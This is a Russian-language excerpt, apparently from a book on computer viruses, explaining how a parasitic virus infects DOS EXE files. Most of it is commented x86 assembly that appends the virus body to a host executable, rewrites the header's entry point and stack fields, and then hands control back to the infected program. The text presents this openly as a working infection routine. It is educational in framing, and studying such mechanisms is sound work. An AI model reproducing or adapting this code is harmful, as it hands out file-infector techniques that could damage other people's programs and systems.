Вирусы, внедряющиеся в программу (Parasitic)

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение EXE-файлов

Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

;Читаем заголовок EXE?файла (точнее, только первые 18h байт,

;которых вполне достаточно)

ReadHeader:

mov ah,3Fh

mov dx,offset EXEHeader

mov cx,0018h

int 21h

;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

;будем обращаться к заголовку, используя SI+смещение элемента

mov si,offset EXEHeader

;Получаем реальную длину файла, переместив указатель текущей

;позиции чтения/записи в конец файла

GetRealFSize:

mov ax,4202h

mov bx,Handle

xor cx,cx

xor dx,dx

int 21h

;Сохраним полученную длину файла

mov Reallen,dx

mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно

;помнить, что все вышесказанное не должно затрагивать

;оверлейные файлы. Их длина, указанная в заголовке,

;меньше реальной, то есть эти файлы загружаются

;в память не полностью.

;Следовательно, если заразить такой файл, вирус попадет

;в незагружаемую часть.

;Сохраним в стеке реальную длину EXE?файла

push dx

push ax

;Рассчитаем размер EXE?файла в 512?байтных страницах и остаток

CompareOVL:

mov cx,0200h

div cx

;На данный момент в регистре AX находится число страниц

;(в каждой странице содержится 512 байт),

;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу.

;Добавим эту страницу к общему числу страниц –

;если остаток не равен нулю, то

;увеличим число страниц

or dx,dx

jz m1

inc ax

m1:

;Будем считать пригодным для заражения

;стандартным способом файлы с длиной,

;полностью совпадающей с указанной в заголовке

cmp ax,[si+PartPag]

jne ExitProc

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление

;зараженной программе, сохраним поля ReloSS,

;ExeSP, ReloCS, ExeIP из заголовка EXE?файла.

;Значения констант, используемых в программе,

;равны смещению соответствующего

;элемента в заголовке EXE?файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss,ax

mov ax,[si+ExeSP]

mov oldsp,ax

mov ax,[si+ReloCS]

mov oldcs,ax

mov ax,[si+ExeIP]

mov oldip,ax

;Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

;Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE – длина тела вируса

adc dx,0

;Рассчитаем получившуюся длину (одна страница – 512 байт)

;и остаток в последней странице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div cx

or dx,dx

jz new_len

inc ax

New_len:

;Внесем в заголовок новую длину файла

mov [si+PageCnt],ax

mov [si+PartPag],dx

;Прочитаем реальную длину файла.

;По ней будем рассчитывать новую

;точку входа в программу (адрес запуска)

Eval_new_entry:

mov dx,Reallen+2

mov ax,Reallen

;Рассчитаем новую точку входа.

;Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

;прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

mov cx,10h

div cx

;Получили число параграфов (AX) и остаток (DX – смещение

;вируса в последнем параграфе).

;Отнимем от числа параграфов в файле число

;параграфов в заголовке – получим сегмент входа в EXE?файл

sub ax,[si+HdrSize]

;Запишем новую точку входа в заголовок

mov [si+ReloCS],ax

mov [si+ExeIP],dx

;Замечание: можно было округлить полученное число,

;и вирус начинался бы с 0000h.

;Но этого делать не стоит.

;Естественно, все обращения к данным в этом вирусе

;должны быть нефиксированными, как и в любом другом вирусе.

;Вместо ”mov ax,ANYDATA” придется делать так:

; mov si,VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA – смещение относительно начала тела вируса

;Стек поставим за тело вируса – байт на 100h. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!

;Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека –

;на 100h байт после тела вируса

mov [si+ReloSS],ax

mov ax,VIRSIZE+100h

mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса.

;Рекомендуется писать сначала тело, а потом заголовок.

;Если тело вдруг не допишется,

;то файл испортим зря

UpdateFile:

;Запишем тело вируса

WriteBody:

;Установим указатель чтения/записи в конец файла

mov bx,Handle

xor cx,cx

xor dx,dx

mov ax,4202h

int 21h

;Запишем тело вируса в файл

mov ah,40h

mov cx,VIRSIZE

mov dx,offset VIRStart

int 21h

;Запишем заголовок

WriteHeader:

;Установим указатель чтения/записи в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Запишем заголовок в файл

mov cx,0018h

mov ah,40h

mov dx,si

int 21h

Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:

CureEXE:

StackBack:

;Установим первоначальный указатель (сегмент и смещение) стека

mov ax,ds

;Прибавим 0010h, после чего в AX будет

;находится сегмент, с которого

;загружен программный модуль

add ax,10h

;Прибавим первоначальный сегмент стека

db @add_ax ;код ADD AX, дальше по аналогии

OldSS dw ? ;это значение было установлено

;при заражении

;Запретим прерывания, так как со стеком нельзя работать,

;пока и сегмент, и смещение не установлены в нужное значение

cli

;Установим сегмент стека (PSP+10h+OldSS)

mov ss,ax

;Установим первоначальный указатель (смещение) стека

db @mov_sp

OldSP dw ?

;Разрешим прерывания – опасный участок пройден

sti

;Подготовим значения в стеке для команды IRET

RetEntryPoint:

pushf

;Рассчитаем сегмент для кода по аналогии с сегментом стека

mov ax,DATASEG

add ax,10h

db @add_ax

OldCS dw ?

;Сохраним в стеке полученное значение (PSP+10h+OldCS)

push ax

;Сохраним в стеке смещение исходной точки входа

db @mov_ax

OldIP dw ?

push ax

;Запустим программу. В стеке находятся смещение

;точки входа, сегмент точки входа и флаги

iret

Данный текст является ознакомительным фрагментом.